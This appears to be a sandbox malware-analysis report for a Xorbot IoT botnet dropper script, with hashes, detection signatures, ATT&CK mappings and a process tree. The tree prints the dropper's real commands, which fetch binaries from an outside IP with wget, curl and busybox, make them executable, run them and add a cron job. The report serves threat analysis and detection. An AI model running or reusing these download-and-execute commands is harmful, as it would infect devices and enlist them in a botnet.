xorbot | 6a9c67ca0847c6e365c8305e49d8cc672fd4191ba319611b95d18e88103ebda8

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01/12/2024, 16:23

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General

Target

bins.sh
Size

10KB
MD5

e226f4e480e52ae79826b49d0b0f8c54
SHA1

004bd67b8f4733cf6527a66931412d90273f30bd
SHA256

6a9c67ca0847c6e365c8305e49d8cc672fd4191ba319611b95d18e88103ebda8
SHA512

45c9c63383eae1a4593d5da156e0ea505aea3e0faff239cc3ef33502dee391bc612d326e8c8c6d756593f2d114af4d946c1f955eaf6a2e2efaf0d036d1bf1337
SSDEEP

96:fpGgtoc86vzNi/ME8bPUXg5+OOc86vz+7lV2cEeq9ME8bP8h:fpGCoc86vzQhc86vz5

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-6.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
699	chmod
713	chmod
725	chmod
739	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t	700	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
/tmp/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP	714	mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
/tmp/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3	726	ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
/tmp/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ	740	yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ

Renames itself 1 IoCs

pid	Process
701	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.OBjp4e	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/785/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/835/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/29/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/147/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/711/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/730/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/758/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/20/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/41/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/668/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/721/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/738/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/795/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/801/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/8/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/21/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/28/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/789/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/781/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/22/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/104/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/772/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/344/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/716/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/731/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/765/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/832/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/9/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/23/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/761/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/808/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/814/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/834/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/675/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/724/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/744/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/24/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/269/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/822/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/825/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/824/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/828/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/26/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/106/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/695/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/218/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/793/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/804/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/805/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/818/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/15/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/25/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/138/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/830/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/404/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/447/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/663/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/665/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/710/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/11/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/19/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
File opened for reading	/proc/791/cmdline	MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t	wget
File opened for modification	/tmp/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t	curl
File opened for modification	/tmp/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t	busybox
File opened for modification	/tmp/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP	busybox
File opened for modification	/tmp/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3	busybox
File opened for modification	/tmp/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:671
- /usr/bin/wget
  wget http://216.126.231.240/bins/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
  2⤵
  - Writes file to tmp directory
  PID:674
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
  2⤵
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod 777 MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
  ./MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:700
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:702
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:703
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:704
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:705
- /bin/rm
  rm MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t
  2⤵
  PID:707
- /usr/bin/wget
  wget http://216.126.231.240/bins/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
  2⤵
  PID:711
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod 777 mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
  ./mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
  2⤵
  - Executes dropped EXE
  PID:714
- /bin/rm
  rm mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP
  2⤵
  PID:715
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
  2⤵
  PID:717
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
  2⤵
  - Writes file to tmp directory
  PID:720
- /bin/chmod
  chmod 777 ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
  ./ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
  2⤵
  - Executes dropped EXE
  PID:726
- /bin/rm
  rm ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3
  2⤵
  PID:728
- /usr/bin/wget
  wget http://216.126.231.240/bins/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
  2⤵
  PID:732
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
  ./yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ
  2⤵
  PID:743
- /usr/bin/wget
  wget http://216.126.231.240/bins/x1cN9upDod2rwRtwrsPls4tUXBeyB8LIEI
  2⤵
  PID:744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/MdJvCphPyasrgw4gxyeNeeDaZGh5HhIm6t

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/ZZxAVLYGggcBqOgsNpHmAnUM8o0KkCUPk3

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/mEa6MjYjkbUdQJioCehS0YFEO2m6kBKboP

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/yyELIJ0zDjAo1fTbn4umxPPighoSQXIsqZ

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.OBjp4e

Filesize
210B

MD5
7f307146e2bdb7eadc037324bcda06dd

SHA1
cd83c4bd9b4bc29994b9e700ae71957dabb74649

SHA256
7936a002906aafbae20007e1a69830fd95d09288ae50491ae8c91fdc552e442e

SHA512
6d574a0767488d9de703c23af4dc86a4b20ed6af2c96fac7420a16b55b6cb3b21b61989ba2da85c67ad706088cbcaa930653984f23ff94fe4fbc819ea61243b2

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads